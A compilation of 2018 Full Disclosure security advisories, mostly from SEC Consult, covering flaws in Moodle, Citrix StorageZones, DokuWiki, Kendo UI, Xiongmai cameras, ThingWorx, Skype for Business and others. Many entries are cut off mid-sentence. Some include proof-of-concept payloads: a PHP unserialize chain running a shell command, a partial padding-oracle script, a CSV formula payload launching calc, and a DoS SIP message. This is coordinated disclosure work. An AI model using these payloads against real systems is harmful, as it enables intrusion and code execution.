[FD] SEC Consult SA-20181116-0 :: Multiple critical vulnerabilities in Miss Marple Enterprise Edition
SEC Consult Vulnerability Lab Security Advisory < 20181116-0 > === title: Multiple critical vulnerabilities product: Miss Marple Enterprise Edition vulnerable version: <2.0 fixed version: 2.0 CVE number: CVE-2018-19233, CVE-2018-19234 impact: Critical homepage: www.comparex-group.com found: 2018-05-29 by: Marius Schwarz (Office Munich) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "As a global IT company with thirty years of experience, COMPAREX is one of the world’s leading IT service providers and no. 1 software license management company in the EMEA markets. COMPAREX develops innovative services that support management and leverage software products, leading to an overall improvement of workforce productivity. COMPAREX serves corporate customers spanning from small businesses to large international corporations as well as the public institutions supporting every customer during their digital journey towards productivity optimization. The portfolio has a solid foundation in license management, software procurement and cloud services. Substantial professional and managed services complete the portfolio to support customers with services tailored to their business demands." Source: https://comparexusa.com/about-us/about/ Business recommendation: The vendor provides a patch and users of this product are urged to immediately upgrade to the latest version available. Vulnerability overview/description: --- Application overview: Miss Marple is an inventory software that consists of a client and a server part. The client (agent) is gathering system information and uploads the results to a remote server in an encrypted ZIP file. 1) Hardcoded AES key (CVE-2018-19233) A username and an encrypted password were identified in the Miss Marple Inventory Agent configuration file. By decompiling the binary, the encryption method was identified as AES-256 with a hardcoded key and initialization vector. The credentials are used to deploy the inventory files to a remote server. 2) Uploading arbitrary files There are two ways an attacker can upload arbitrary files to the server. 2.1) Patching the application binary to bypass the ZIP file extension check Using this method, it is possible to upload any file to the server, even if the credentials are unknown to the attacker! This works because every file in a specific directory gets uploaded, as long as the file has the correct file extension. This can be bypassed because the file extension is only checked on the client side and not on the server side. Patching the binary is done by replacing the extension string with the file extension of the attackers file eg. ".aspx" in the MMIA.exe binary itself. 2.2) Using cURL to upload arbitrary files If the credentials are known to the attacker, it is possible to use tools like cURL to upload arbitrary files to the remote server. Both ways can be used by an attacker to upload a web-shell to the server and execute arbitrary commands. 3) Missing update validation (CVE-2018-19234) Besides the Miss Marple Inventory Agent, an Miss Marple Updater Service is running on all clients. This service checks for new versions on the same server. If the files are uploaded to the right directory on the server, the updater will download and execute them with the highest privileges (NT Authority\SYSTEM) without validating the binaries. This can also be used for escalating privileges on the client. By uploading a web-shell using the methods described in vulnerability 2, an attacker gets sufficient write permissions to access the update directory and to place malicious files on the server. This will execute arbitrary code on all clients using Miss Marple. Proof of concept: - 1) Hardcoded AES key (CVE-2018-19233) No proof of concept will be provided. 2) Uploading arbitrary files 2.1) No proof of concept will be provided. E.g. the Unicode string for ".zip" just has to be replaced with the file extension for the uploaded web-shell. 2.2) Using cURL to upload arbitrary files It is possible to upload arbitrary files using cURL and the credentials obtained in 1). 3) Missing update validation (CVE-2018-19234) No proof of concept will be provided. Vulnerable / tested versions: - The following versions have been tested and found to be vulnerable: Miss Marple Inventory Agent / Miss Marple Updater Service 1.13 Vendor contact timeline: 2018-06-
[FD] SEC Consult SA-20181114-0 :: Denial of Service in Microsoft Skype for Business
SEC Consult Vulnerability Lab Security Advisory < 20181114-0 > === title: Denial of Service product: Microsoft Skype for Business 2016 / Lync 2013 vulnerable version: Microsoft Skype for Business 2015 (Lync 2013) before v15.0.5075.1000 Skype for Business 2016: before v16.0.4756.1000 fixed version: Microsoft Skype for Business 2015 (Lync 2013) v15.0.5075.1000 Skype for Business 2016 v16.0.4756.1000 CVE number: CVE-2018-8546 impact: Medium homepage: https://www.skype.com/en/business/ found: 08/2018 by: Sabine Degen (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "Skype for Business (formerly Microsoft Office Communicator and Microsoft Lync) is an instant messaging client used with Skype for Business Server or with Skype for Business Online (available with Microsoft Office 365). Skype for Business is enterprise software." Source: https://en.wikipedia.org/wiki/Skype_for_Business Business recommendation: Assess the impact of this vulnerability on your business. The patch provided by Microsoft should be installed immediately. Especially if Skype for Business is being used for external communication. Vulnerability overview/description: --- A large number of emojis (e.g. ~800 kittens) received in one message by the Skype For Business client freezes the program for a few seconds. This can be exploited to perform Denial of Service attacks against Skype for Business users and compromises the availability of the program. For example, an attacker can continuously send such messages to the chat window of a meeting room in order to freeze the program for all participants and prevent them from using the chat or seeing the video. Note that the sound and video stream is handled by a separate thread and therefore are not affected (e.g. killed), only the functions related to graphical user interface become unusable. Proof of concept: - After sending a big amount of emojis (~800 kittens) to a Skype for Business chat, the program freezes for a few seconds while rendering the chat window. Continuously sending emojis will make the GUI unusable for the user. Ongoing conference calls are not affected or interrupted. The following SIP packet illustrates the attack. MESSAGE sip:xxx@*redacted*;opaque=user:epid:EwWlc9DdAFGQtozR4vBibAAA;gruu SIP/2.0 Via: SIP/2.0/tls 127.0.0.1:7490 From: ;tag=82254700;epid=e67b0162bec8 To: ;tag=5c302cb624;epid=15347556e6 Max-Forwards: 70 CSeq: 12 MESSAGE User-Agent: Purple/2.12.0 Sipe/1.23.2 (win-i386; RTC/5.0) Call-ID: 440Eg2C92a5C4Ci0A43m5DDAt76CEb3DEAx13B0x Route: Contact: Content-Type: text/plain; charset=UTF-8;msgr=WAAtAE0ATQBTAC0ASQBNAC0ARgBvAHIAbQBhAHQAOgAgAEYATgA9AE0AUwAlADIAMABTAGEAbgBzACUAMgAwAFMAZQByAGkAZgA7ACAARQBGAD0AOwAgAEMATwA9ADAAOwAgAFAARgA9ADAAOwAgAFIATAA9ADAADQAKAA0ACgA Content-Length: 4420 Authorization: TLS-DSK qop="auth", opaque="174C6224", realm="SIP Communications Service", targetname="*redacted*", crand="1126134f", cnum="29", response="*redacted*" (cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat) (cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat) (cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat) (cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat) (cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat) [...] Vulnerable / tested versions: - The following versions have been identified as vulnerable which were the latest versions available at the time of the test: * Lync 2013 (15.0) 64-Bit part of Microsoft Office Professional Plus 2013 * Skype for Business 2016 MSO (16.0.93).64-Bit, Both versions were running on Windows 10 Pro. According to the vendor, all previous versions are affected: * Skype for Business 2015 (Lync 2013) before v15.0.5075.1000 * Skype for Business 2016: before v16.0.4756.1000 Vendor contact timeline: 2018-08-02: Vulnerability details submitted to Microsoft, MSRC Case 47060 assigned 2018-08-28: Asking for a status update 2018-08-30: Vendor: issue has been reproduced, solution to block the user provided 2018-08-31: Follow-up questions why DoS is not categorized as security issue as the provided workaround is not effective for attacks already in progress 2018-08-31: Vendor: decided to f
[FD] SEC Consult SA-20181009-0 :: Remote Code Execution via XMeye P2P Cloud in Xiongmai IP Cameras, NVRs and DVRs incl. 3rd party OEM devices (CVE-2018-17915, CVE-2018-17917, CVE-2018-17919)
SEC Consult also published a blog post regarding the identified security issues with further background information: Blog: https://r.sec-consult.com/xmeye SEC Consult Vulnerability Lab Security Advisory < 20181009-0 > === title: Remote Code Execution via XMeye P2P Cloud product: Xiongmai IP Cameras, NVRs and DVRs incl. 3rd party OEM devices vulnerable version: see below fixed version: - CVE number: CVE-2018-17915, CVE-2018-17917, CVE-2018-17919 impact: Critical homepage: http://www.xiongmaitech.com/en/ found: 2018-03-05 by: Stefan Viehböck (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "Hangzhou Xiongmai Technology Co., Ltd concentrates on security surveillance, Video intelligent research and development. We devote ourselves to providing good products, technical services for manufacturers, wholesaler and service provider, in order to offer better experience for our customers. We are global leading providers in security video products and technology. Established from 2009, many years development, the headquarter of XM locate in Yinhu Innovation Center, Fuyang district, Hangzhou now. Total registered capital reach to 60 million. Now we owns nearly 2000 employees including a strong R&D team (more than 300 experienced engineers)." Source: http://www.xiongmaitech.com/en/index.php/about/company/18 Business recommendation: SEC Consult has identified highly critical vulnerabilities in Xiongmai products and the "XMeye P2P Cloud" feature which is being used in many 3rd party OEM devices as well. The vendor does not provide proper mitigations and hence it is recommended not to use any products associated with the XMeye P2P Cloud until all of the identified security issues have been fixed and a thorough security analysis has been performed by professionals. Vulnerability overview/description: --- 1) Predictable XMEye Cloud IDs (CVE-2018-17915) All Xiongmai devices come with a feature called "XMeye P2P Cloud". It is a proprietary, UDP-based protocol that allows users to access their IP cameras or NVRs/DVRs via the internet. The feature is enabled by default, no setup by the user is required. The device initiates and keeps a connection to a Xiongmai cloud server. All connections between clients and the devices are established via Xiongmai cloud servers. This approach allows users to connect to devices that are behind firewalls, NATed etc. The unique, per-device identifier is the cloud ID. It is a 16 character long hexadecimal string (e.g. f7e708f21de0fde0). Anyone who knows the device identifier and the admin credentials can establish a connection to a device using the XMEye apps (Android, iOS) or a "VMS" desktop application. The Cloud ID may be unique, but it is not random. It is derived (at boot time) from the device MAC address using a few simple operations (see get_sn_from_mac()) below. An attacker can enumerate potential MACs/cloud IDs and find valid ones. Then use the weak default credentials to log in. This allows the attacker to watch the video feed, change the device configuration and possibly gain remote code execution using other vulnerabilities. The XMEye functionality allows an attacker to attack devices that are behind firewalls, NATed networks etc. MAC addresses have a well defined structure: 3-octet OUI (Vendor) + 3-octet NIC ID OUIs are assigned by the IEEE. Interestingly Xiongmai does not own an OUI, but instead uses the OUIs of other companies. The following OUIs are used by Xiongmai devices (OUIs based on internet research, scanning, company names based on [1]): 001210 WideRay Corp 001211 Protechna Herbst GmbH & Co. KG 001212 PLUS Corporation 001213 Metrohm AG 001214 Koenig & Bauer AG 001215 iStor Networks, Inc. 001216 ICP Internet Communication Payment AG 001217 Cisco-Linksys, LLC 001218 ARUZE Corporation 003E0B - Not assigned We developed a cloud ID scanner that queries the Xiongmai cloud server. The responses indicate if there is a device online that uses the given cloud ID, plus provide the IP of a Xiongmai Cloud hop server that is geographically close to the device. One query is one UDP packet. We scanned 0.02% of the devices (random choice) in each OUI range (16 Million devices per range) and extrapolated the results. OUI: 001210; IDs checked 3,365; Devices online 3; Success rate: 0.1%; extrapolated devices online: 14,957 OUI: 001211; IDs checked 3,363; Devices online 9; Success r
[FD] Facebook Platform Hack - Critical Access Token Vulnerabilities
Information: The vulnerability about the access token issue was already reported in december 2017 and january 2018 to the facebook security team. in the ticket communication all three researchers disclosing the issue was denied to receive a reward because the whitehat team of facebook did not see the entire risks and combined problematics. Our researchers tried to report the issues several way to protect the public people but after the tickets was slammed down without good arguments, we silently waited until the situation pops up again. We recorded videos of the zero-day issues in several app auth services and noticed serveral times the problematic without coming with facebook to a point were a solution is issued. Finally there was only one way to deal with it and this is the way on how we did it. Responsible for the disclosure of the vulnerabilities are Lawrence Amer of team vulnerability labs, S*** P and Nirmal Thape. Responsible for reportings to facebook and the followup communication was Lawrence Amer and Benjamin Kunz Mejri. Title: Facebook Inc via Instagram Business - Remote Access Token Vulnerability (Original Facebook Video) URL: https://www.youtube.com/watch?v=4Obsd1Qw7uU Title: Facebook Access Token Vulnerability - Retrieve Data via Instagram Business URL: https://www.youtube.com/watch?v=tdLKRky1Da4 Author: Lawrence Amer https://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer The issue had several vectors and was exploitable using different functions like view as, preview and other facebook functions. Note: The access tokens are already invalidated or refreshed which does not allow attackers to get back access again. Today facebook replied is evaluating to pay the mentioned researchers for the findings. We send some friendly greetings back to facebook and as well to the us supervisory authority watching the case issue. -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] SEC Consult SA-20181001-0 :: Password disclosure vulnerability & XSS in PTC ThingWorx (CVE-2018-17216, CVE-2018-17217, CVE-2018-17218)
SEC Consult Vulnerability Lab Security Advisory < 20181001-0 > === title: Password disclosure vulnerability & XSS product: PTC ThingWorx vulnerable version: 6.5-7.4, 8.0.x, 8.1.x, 8.2.x fixed version: see Solution section CVE number: CVE-2018-17216, CVE-2018-17217, CVE-2018-17218 impact: critical homepage: https://www.ptc.com found: 2018-03-13 by: M. Tomaselli (Office Munich) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "ThingWorx is more than an IoT platform; it provides the functionality, flexibility and scalability that businesses need to drive industrial innovation─including the ability to source, contextualize and synthesize data while orchestrating processes and delivering powerful web, mobile and AR experiences." Source: https://www.ptc.com/en/thingworx8 Business recommendation: ThingWorx allows to configure Things to communicate with other services over several protocols (e.g. LDAP integration via a DirectoryServices Thing). In order to communicate with services that require authentification, ThingWorx provides functionality to associate credentials to a Thing. During a brief audit it was noticed that ThingWorx Composer leaks the following sensitive data: 1) The PBKDF2WithHmac512 password hash of a user Thing 2) The AES encrypted password of several Things containing password attributes Furthermore, the password used for encryption is hard-coded and thus identical along all installations. Besides the above mentioned vulnerabilities a reflected cross-site scripting vulnerability was identified in the ThingWorx SQUEAL search function. The vendor provides a patch which should be installed immediately. It is recommended to perform further thorough security audits as the product may be affected by other potential security vulnerabilities. Vulnerability overview/description: --- 1) Disclosure of User Password Hashes to Privileged Users (CVE-2018-17216) ThingWorx discloses the PBKDF2WithHmac512 hashed passwords of its application users when doing exports with an administrative account. This enables an attacker to conduct offline brute-force or dictionary attacks against the obtained password hashes. 2) Disclosure of Encrypted Credentials and Use of Hard-Coded Passwords (CVE-2018-17217) A critical information disclosure vulnerability leaks the AES encrypted passwords of services configured within ThingWorx. Due to a hard-coded master password in the SecureData class, an attacker is able to decrypt the obtained passwords which grants him access to other services. The AES encrypted password gets disclosed in the server response when a user/attacker visits a Thing that contains credentials. 3) Reflected Cross-Site Scripting (CVE-2018-17218) The JavaScript part of the ThingWorx SQUEAL search functionality (searchExpression parameter) which is responsible for parsing the obtained JSON response fails to properly sanitize user supplied input. If the victim views attacker-prepared content (e.g. on a website or in an HTML email) an attacker is able to execute arbitrary actions in the context of its victims' sessions. Proof of concept: - The proof of concept has been removed from this advisory. Vulnerable / tested versions: - The vulnerabilities have been verified to exist in version 8.0.1-b39 which was the latest version available at the time of the test. The vendor provided further affected version information. See the Solution section for reference. Vendor contact timeline: 2018-03-14: Contacting vendor through email 2018-03-16: Advisory sent to vendor via encrypted mail 2018-03 - 2018-09: Multiple phone calls with PTC R&D department discussing release & multi-party disclosure 2018-08-15: Vendor provided private notifications to customers to give 45 days to upgrade 2018-10-01: Coordinated release of SEC Consult advisory Solution: - Best recommendation is to upgrade to the latest version of ThingWorx to version 8.3.2 (at time of writing). For newer verions, the issue of the hard coded password has been fixed and the SQUEAL function removed. The minimum upgrade to obtain mitigations for all 3 issues depends on the version of ThingWorx in use. For ThingWorx versions 6.5-7.4, upgrade to 7.4.14+ For ThingWorx version 8.0.x, upgrade to 8.0.12+ For ThingWorx version 8.1.x, upgrade to 8.1.7+ For ThingWorx version 8.2.x, upgrade to 8.2.4+ The vendor always recommends
Re: [FD] SEC Consult SA-20180926-0 :: Stored Cross-Site Scripting in Progress Kendo UI Editor
here with correct email subject :) On 9/26/18 2:17 PM, SEC Consult Vulnerability Lab wrote: > SEC Consult Vulnerability Lab Security Advisory < 20180926-0 > > === > title: Stored Cross-Site Scripting > product: Progress Kendo UI Editor > vulnerable version: v2018.1.221 > fixed version: none, see workaround > CVE number: CVE-2018-14037 > impact: medium >homepage: https://www.progress.com/kendo-ui > found: 2018-04-23 > by: M. Tomaselli (Office Munich) > SEC Consult Vulnerability Lab > > An integrated part of SEC Consult > Europe | Asia | North America > > https://www.sec-consult.com > > === > > Vendor description: > --- > "The Editor allows users to create rich text content by means of a WYSIWYG > interface. This HTML5 widget outputs identical HTML across all major browsers, > follows accessibility standards and provides an API for content manipulation. > The generated widget value is comprised of XHTML markup." > > https://www.telerik.com/kendo-ui/editor > > > Business recommendation: > > SEC Consult recommends to implement the workarounds provided by the vendor. > > > Vulnerability overview/description: > --- > The demo application of the Kendo UI Editor which is hosted at > https://demos.telerik.com/kendo-ui/editor/api implements a Sanitizer function > which should protect from cross site scripting. However, the implemented > Sanitizer fails to catch certain payloads which allow an attacker to execute > JavaScript in the context of the editor itself. > > > Proof of concept: > - > The following, incomplete list, of payloads can be used to trigger an alert > box in the API demo application of the Kendo UI Editor: > https://demos.telerik.com/kendo-ui/editor/api > > > data="data:text/html;base64,PHNjcmlwdD5hbGVydCgic2VjdGVzdCIpPC9zY3JpcHQ+"> > > HTTP-EQUIV="refresh" > CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> > > > > After a click on the button the setValue function on line 513 of the > beautified > "api.js" is called: > > var setValue = function () { > editor.value($("#value").val()); > }; > > > The value function is implemented in line 64383 of the beautified > "kendo.all.js" > file and defined as: > > value: function (html) { > var body = this.body, editorNS = kendo.ui.editor, options = > this.options, currentHtml = editorNS.Serializer.domToXhtml(body, > options.serialization); > if (html === undefined) { > return currentHtml; > } > if (html == currentHtml) { > return; > } > editorNS.Serializer.htmlToDom(html, body, > options.deserialization); > this.selectionRestorePoint = null; > this.update(); > this.toolbar.refreshTools(); > }, > > In order to mitigate certain XSS payloads the editorNS.Serializer.htmlToDom() > function is called which can be seen in the excerpt below: > > var Serializer = { > toEditableHtml: function (html) { > return (html || '').replace(//g, > '').replace(/<(\/?)script([^>]*)>/gi, > '<$1k:script$2>').replace(/]*)>/gi, function (match) { > return match.replace(onerrorRe, ''); > }).replace(/(<\/?img[^>]*>)[\r\n\v\f\t ]+/gi, > '$1').replace(/^<(table|blockquote)/i, br + > '<$1').replace(/^[\s]*( |\u00a0)/i, > '$1').replace(/<\/(table|blockquote)>$/i, > '' + br); > }, > > Although certain payloads are detected and sanitized by the function, the > implemented protection fails to detect the data uri payload. The payload is > added unescaped to the editor DOM after several other functions calls. > > > Vulnerable / tested versions: > - > The following version has been identified to be vulnerable: > * v2018.1.221 > > > Vendor contact timeline: > > 2018-05-02: Contacting vendor through email for security contact > 2018-05-02: Contact person requests to obtain advisory via unencrypted mail > 2018-05-08: Advisory delivered t
[FD] SEC Consult SA-20180926-0 ::
SEC Consult Vulnerability Lab Security Advisory < 20180926-0 > === title: Stored Cross-Site Scripting product: Progress Kendo UI Editor vulnerable version: v2018.1.221 fixed version: none, see workaround CVE number: CVE-2018-14037 impact: medium homepage: https://www.progress.com/kendo-ui found: 2018-04-23 by: M. Tomaselli (Office Munich) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "The Editor allows users to create rich text content by means of a WYSIWYG interface. This HTML5 widget outputs identical HTML across all major browsers, follows accessibility standards and provides an API for content manipulation. The generated widget value is comprised of XHTML markup." https://www.telerik.com/kendo-ui/editor Business recommendation: SEC Consult recommends to implement the workarounds provided by the vendor. Vulnerability overview/description: --- The demo application of the Kendo UI Editor which is hosted at https://demos.telerik.com/kendo-ui/editor/api implements a Sanitizer function which should protect from cross site scripting. However, the implemented Sanitizer fails to catch certain payloads which allow an attacker to execute JavaScript in the context of the editor itself. Proof of concept: - The following, incomplete list, of payloads can be used to trigger an alert box in the API demo application of the Kendo UI Editor: https://demos.telerik.com/kendo-ui/editor/api After a click on the button the setValue function on line 513 of the beautified "api.js" is called: var setValue = function () { editor.value($("#value").val()); }; The value function is implemented in line 64383 of the beautified "kendo.all.js" file and defined as: value: function (html) { var body = this.body, editorNS = kendo.ui.editor, options = this.options, currentHtml = editorNS.Serializer.domToXhtml(body, options.serialization); if (html === undefined) { return currentHtml; } if (html == currentHtml) { return; } editorNS.Serializer.htmlToDom(html, body, options.deserialization); this.selectionRestorePoint = null; this.update(); this.toolbar.refreshTools(); }, In order to mitigate certain XSS payloads the editorNS.Serializer.htmlToDom() function is called which can be seen in the excerpt below: var Serializer = { toEditableHtml: function (html) { return (html || '').replace(//g, '').replace(/<(\/?)script([^>]*)>/gi, '<$1k:script$2>').replace(/]*)>/gi, function (match) { return match.replace(onerrorRe, ''); }).replace(/(<\/?img[^>]*>)[\r\n\v\f\t ]+/gi, '$1').replace(/^<(table|blockquote)/i, br + '<$1').replace(/^[\s]*( |\u00a0)/i, '$1').replace(/<\/(table|blockquote)>$/i, '' + br); }, Although certain payloads are detected and sanitized by the function, the implemented protection fails to detect the data uri payload. The payload is added unescaped to the editor DOM after several other functions calls. Vulnerable / tested versions: - The following version has been identified to be vulnerable: * v2018.1.221 Vendor contact timeline: 2018-05-02: Contacting vendor through email for security contact 2018-05-02: Contact person requests to obtain advisory via unencrypted mail 2018-05-08: Advisory delivered through unencrypted email to vendor 2018-05-29: Contacting vendor for current status and informing them about the publishing date 2018-07-02: Reminded the vendor that the advisory will be published soon 2018-07-02: Multiple emails exchanged, vendor demands that customers need to issue a support ticket on this case 2018-07-03: Telling them that it is a security issue they already know two months without seemingly acting upon it. Vendor: product managers have been informed and will contact us; no further info 2018-07-11: Asking vendor again for a status update & patch information 2018-07-11: Vendor: "Thank you for following up. I have sent this to the product team to take into consideration. They will be following up with you as they may need. We appreciate you following up regarding this request." 2018-07-12
[FD] SEC Consult SA-20180924-0 :: Multiple Vulnerabilities in Citrix StorageZones Controller
SEC Consult Vulnerability Lab Security Advisory < 20180924-0 > === title: Multiple Vulnerabilities product: Citrix StorageZones Controller vulnerable version: all versions before 5.4.2 fixed version: 5.4.2 CVE number: CVE-2018-16968, CVE-2018-16969 impact: Medium homepage: https://www.citrix.com/ found: 2018-08 by: W. Ettlinger (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "ShareFile is a file sharing service that enables users to easily and securely exchange documents. ShareFile Enterprise provides enterprise-class service and includes StorageZones Controller and the User Management Tool. ShareFile StorageZones Controller extends the ShareFile software as a service (SaaS) cloud storage by providing your ShareFile account with private data storage, referred to as StorageZones for ShareFile Data. [...]." URL: https://docs.citrix.com/en-us/storagezones-controller/5-0.html Business recommendation: Users of this product are advised to install the security patch provided by Citrix. The vulnerabilities identified suggest that no sufficient technical security audit has yet been conducted on the Citrix StorageZones Controller. SEC Consult recommends Citrix to conduct such an audit. Vulnerability overview/description: --- The Citrix StorageZones Controller exposes resources that are typically only available to the internal network (e.g. CIFS Windows shares) to clients connecting from the Internet. In order to hide internal network paths from the user and in order to only allow access to paths specifically allowed by the administrator, internal network paths are encrypted. E.g. if an administrator wants to allow access to an UNC path (e.g. \\testhost\testshare\testdir) this string is encrypted and provided to the client. When the user calls the API to e.g. list the contents of this directory, the StorageZones Controller returns the encrypted absolute paths for each directory entry. This way, the absolute internal paths are always hidden from the user. 1) Improper Access Restrictions Citrix StorageZone Controller offers users a functionality to convert UNC paths into their encrypted form. Therefore, users are able to access any UNC paths accessible by the StorageZones Controller. When providing access to a network share, the StorageZones Controller impersonates the user. Therefore, unauthorized access to network shares is not possible. However, Citrix StorageZones Controller internally does not distinguish between UNC-paths (e.g. \\testhost\testshare) and local paths (e.g. C:\Windows). Therefore, users may access (e.g. read, write, delete) local paths for which they have appropriate NTFS permissions. Note: Citrix StorageZones allows an administrator to define the paths exposed by the StorageZones Controller. By configuring this setting an administrator can restrict access to only network paths. The configuration page incorrectly states that a value of "*" (the default value) "allows connections to all hosts on the internal network", while in fact it also allows access to local paths. 2) Padding Oracle The encryption mechanism used by the Citrix StorageZones Controller is vulnerable to a padding oracle attack. This allows an attacker to partly decrypt or potentially modify internal paths. 3) Path Traversal The upload functionality is vulnerable to a path traversal attack if the preconditions to exploit the vulnerability #1 are met. In practice this vulnerability has a similar effect as vulnerability #1. Proof of concept: - 1) Improper Access Restrictions The following URL demonstrates how local paths can be encrypted: https:///cifs/v3/Items/ByPath?path=c:\ The following URL demonstrates how e.g. the contents of the directory can be listed: https:///cifs/v3/Items()?$expand=Children 2) Padding Oracle The following script demonstrates how encrypted internal paths can partly be decrypted. It may also be possible to partly modify encrypted paths (this has not been verified). snip import sys sys.path.append('python-paddingoracle') from paddingoracle import BadPaddingException, PaddingOracle, xor from base64 import b64encode, b64decode from urllib import quote, unquote import requests import socket import time import getpass URL = 'http:///' AUTH = (raw_input('User: '), getpass.getpass('Password: ')) CIPHER = '' class PadBuster(PaddingOracle): def __init__(s
[FD] SEC Consult SA-20180918-0 :: Remote Code Execution via PHP unserialize in Moodle open-source learning platform
SEC Consult Vulnerability Lab Security Advisory < 20180918-0 > === title: Remote Code Execution via PHP unserialize product: Moodle - Open-source learning platform vulnerable version: 3.5 to 3.5.1, 3.4 to 3.4.4, 3.1 to 3.1.13 and earlier unsupported versions fixed version: 3.5.2, 3.4.5, 3.3.8 and 3.1.14 CVE number: CVE-2018-14630 impact: critical homepage: https://moodle.org/ found: 2018-07-08 by: Johannes Moritz (Office Berlin) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "Moodle is a learning platform designed to provide educators, administrators and learners with a single robust, secure and integrated system to create personalised learning environments. Powering tens of thousands of learning environments globally, Moodle is trusted by institutions and organisations large and small, including Shell, London School of Economics, State University of New York, Microsoft and the Open University. Moodle’s worldwide numbers of more than 90 million users across both academic and enterprise level usage makes it the world’s most widely used learning platform." Source: https://moodle.org/about Business recommendation: The vendor provides a patch which should be installed immediately. SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues. Vulnerability overview/description: --- 1) Remote Code Execution via PHP unserialize (CVE-2018-14630) When importing a "drag and drop into text" (ddwtos) question in the legacy Moodle XML format, the passed feedback answer is used unsanitized in an unserialize() function, which leads to a PHP Object Injection vulnerability. By providing a sophisticated PHP Object chain it is possible to leverage the POI into a fully-blown arbitrary Remote Code Execution (RCE). To exploit this vulnerability an attacker needs permissions to create a quiz or at least be able to import questions. A user of the role teacher usually has these permissions. However, students can also be assigned to the role teacher for a specific course. Proof of concept: - 1) Remote Code Execution via PHP unserialize (CVE-2018-14630) In order to exploit this issue an attacker has to open Moodle's question bank for a specific course and import the following Moodle XML file. The answer feedback contains a sophisticated PHP object chain which only contains objects from Moodles library. After the parsing process the command "echo `whoami`" is being executed. question name O:15:"\\core\\lock\\lock":2:{s:3:"key";O:23:"\\core_availability\\tree":1:{s:8:"children";O:24:"\\core\\dml\\recordset_walk":2:{s:8:"callback";s:6:"system";s:9:"recordset";O:25:"question_attempt_iterator":2: {s:4:"quba";O:26:"question_usage_by_activity":1:{s:16:"questionattempts";a:1:{s:4:"1337";s:13:"echo `whoami`";}}s:5:"slots";a:1:{i:0;i:1337;s:8:"infinite";i:1;} Vulnerable / tested versions: - The following version has been tested which was the most recent one at the time of the test: * 3.5.1+ According to the vendor, all previous versions are affected as well: * 3.5 to 3.5.1, 3.4 to 3.4.4, 3.1 to 3.1.13 and earlier unsupported versions Vendor contact timeline: 2018-07-08: Vulnerability identified, further analysis (credits to Robin Peraglie from RIPS Technologies) 2018-07-09: Contacting vendor through tracker.moodle.org (issue [MDL-62880] created) 2018-07-09: Vendor replied and supplied a fix for the vulnerability 2018-09-10: Vendor releases patched version 2018-09-18: Public release of security advisory Solution: - The vendor provides a patched version (3.5.2) which should be installed immediately: https://download.moodle.org/releases/latest/ The vendor also provided a security advisory regarding this issue: https://moodle.org/mod/forum/discuss.php?d=376023#p1516118 Workaround: --- Disable import of ddwtos questions through XML files. Advisory URL: - https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe |
[FD] SEC Consult SA-20180906-0 :: CSV Formula Injection in DokuWiki
SEC Consult Vulnerability Lab Security Advisory < 20180906-0 > === title: CSV Formula Injection product: DokuWiki vulnerable version: 2018-04-22a "Greebo" and older versions fixed version: None CVE number: CVE-2018-15474 impact: Medium homepage: https://www.dokuwiki.org found: 2018-07-09 by: Jean-Benjamin Rousseau (Office Zurich) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "DokuWiki is a simple to use and highly versatile Open Source wiki software that doesn't require a database. It is loved by users for its clean and readable syntax. The ease of maintenance, backup and integration makes it an administrator's favorite. Built in access controls and authentication connectors make DokuWiki especially useful in the enterprise context and the large number of plugins contributed by its vibrant community allow for a broad range of use cases beyond a traditional wiki." Source: https://www.dokuwiki.org/dokuwiki Business recommendation: The issue will not be fixed according to the vendor. Users are advised to be careful when opening files via the CSV export functionality. SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues. Vulnerability overview/description: --- 1) CSV Formula Injection vulnerability The administration panel of the application has a "CSV export of users" feature which allows the export of user data (username, real name, email address and user groups) as a CSV file. On the registration page, it is possible for an attacker to set certain values in the Real Name field that - when exported and opened with a spreadsheet application (Microsoft Excel, Open Office, etc.) - will be interpreted as a formula. This puts the administrators who open those malicious exported files at risk. Exfiltration of sensitive data or even the execution of arbitrary code on the local machine of the victim will be the result. The final impact depends on the used spreadsheet software on the client of the victim. Proof of concept: - 1) CSV Formula Injection vulnerability Registration URL: http://www.example.com/doku.php?id=start&do=register When the registration request is submitted, the following parameters are sent in a POST request: sectok=&do=register&save=1&login=login_parameter&fullname=evil_csv_formula_injection_payload&email=email_address The "fullname" parameter is not sanitized before being stored and during the CSV export. An attacker can inject different CSV formula payloads in the fullname parameter. For example: =cmd|'/C calc'!A0 As soon as the file gets opened in Microsoft Excel, the program calc.exe is launched. Different warnings might pop up. However, these warnings are usually ignored because the file comes from a trusted source. Vulnerable / tested versions: - The latest version 2018-04-22a "Greebo" has been tested: 